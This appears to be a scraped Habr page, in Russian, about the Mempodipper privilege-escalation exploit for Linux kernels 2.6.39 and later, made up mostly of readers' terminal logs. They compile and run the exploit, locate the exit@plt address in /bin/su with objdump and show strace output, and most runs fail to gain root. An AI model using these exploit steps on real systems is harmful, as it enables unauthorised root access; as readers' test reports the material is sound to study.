Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
$ gcc -o mempodipper mempodipper.c
$ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/19624/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[-] Could not resolve /bin/su. Specify the exit@plt function address manually.
[-] Usage: ./mempodipper -o ADDRESS
[-] Example: ./mempodipper -o 0x402178
$ ls -l /bin/su
-rws--x--x 1 root root 34572 Сен 26 23:37 /bin/su
$ sudo objdump -d /bin/su | grep 'exit@plt' | head -n 1 | cut -d ' ' -f 1 | sed 's/^[0]*\([^0]*\)/0x\1/'
Пароль:
0x1fac
$ ./mempodipper -o 0x1fac
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/19761/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x1f91.
[+] Executing su with shellcode.
$ id
uid=1000(powerman) gid=100(users) группы=100(users),...
$ strace -f ./mempodipper -o 0x1fac
...
write(2, "\320\235\320\265\320"..., 89) = -1 EIO (Input/output error)
exit_group(1) = ?
-rws--x--x 1 root root 39320 Окт 24 21:29 /bin/suobjdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'./mempodipper -o 0x402178drakmail@thinkpad-x220:~$ uname -a
Linux thinkpad-x220 3.1.8 #1 SMP PREEMPT Sun Jan 8 18:53:10 UTC 2012 x86_64 Intel® Core(TM) i5-2410M CPU @ 2.30GHz GenuineIntel GNU/Linux
drakmail@thinkpad-x220:~$ ./a.out
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/21203/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x401e48.
[+] Calculating su padding.
[+] Seeking to offset 0x401e2b.
[+] Executing su with shellcode.
drakmail@thinkpad-x220:~$ whoami
drakmail
Linux bt 2.6.39.4 #1 SMP Thu Aug 18 13:38:02 NZST 2011 i686 GNU/Linux
Linux 3.2.0-030200-generic #201201042035 SMP Thu Jan 5 01:36:31 UTC 2012 x86_64 GNU/Linux
% uname -a
Linux test 3.2.1-1-ARCH #1 SMP PREEMPT Fri Jan 13 08:19:09 UTC 2012 i686 Intel® Atom(TM) CPU N455 @ 1.66GHz GenuineIntel GNU/Linux
[+] Executing su with shellcode.
[1] 13091 segmentation fault ./mempodipper
% whoami
test
write(2, "su: ", 4) = -1 EIO (Input/output error)
write(2, "\320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\321\202\320\265\320\273\321\214 H1\377\260i\17\5"..., 120) = -1 EIO (Input/output error)
write(2, "\n", 1) = -1 EIO (Input/output error)
[huzferd@arch ~]$ uname -a
Linux arch 3.2.1-1-ARCH #1 SMP PREEMPT Fri Jan 13 06:50:31 CET 2012 x86_64 Pentium® Dual-Core CPU E6500 @ 2.93GHz GenuineIntel GNU/Linux
[huzferd@arch ~]$ gcc run.c -o run
[huzferd@arch ~]$ ./run
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/1215/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x401dd0.
[+] Calculating su padding.
[+] Seeking to offset 0x401dae.
[+] Executing su with shellcode.
[huzferd@arch ~]$ whoami
huzferd
[huzferd@arch ~]$ pacman -S
ошибка: Вы не можете выполнить эту операцию, не являясь суперпользователем (root).
Повышение привилегий в Linux >=2.6.39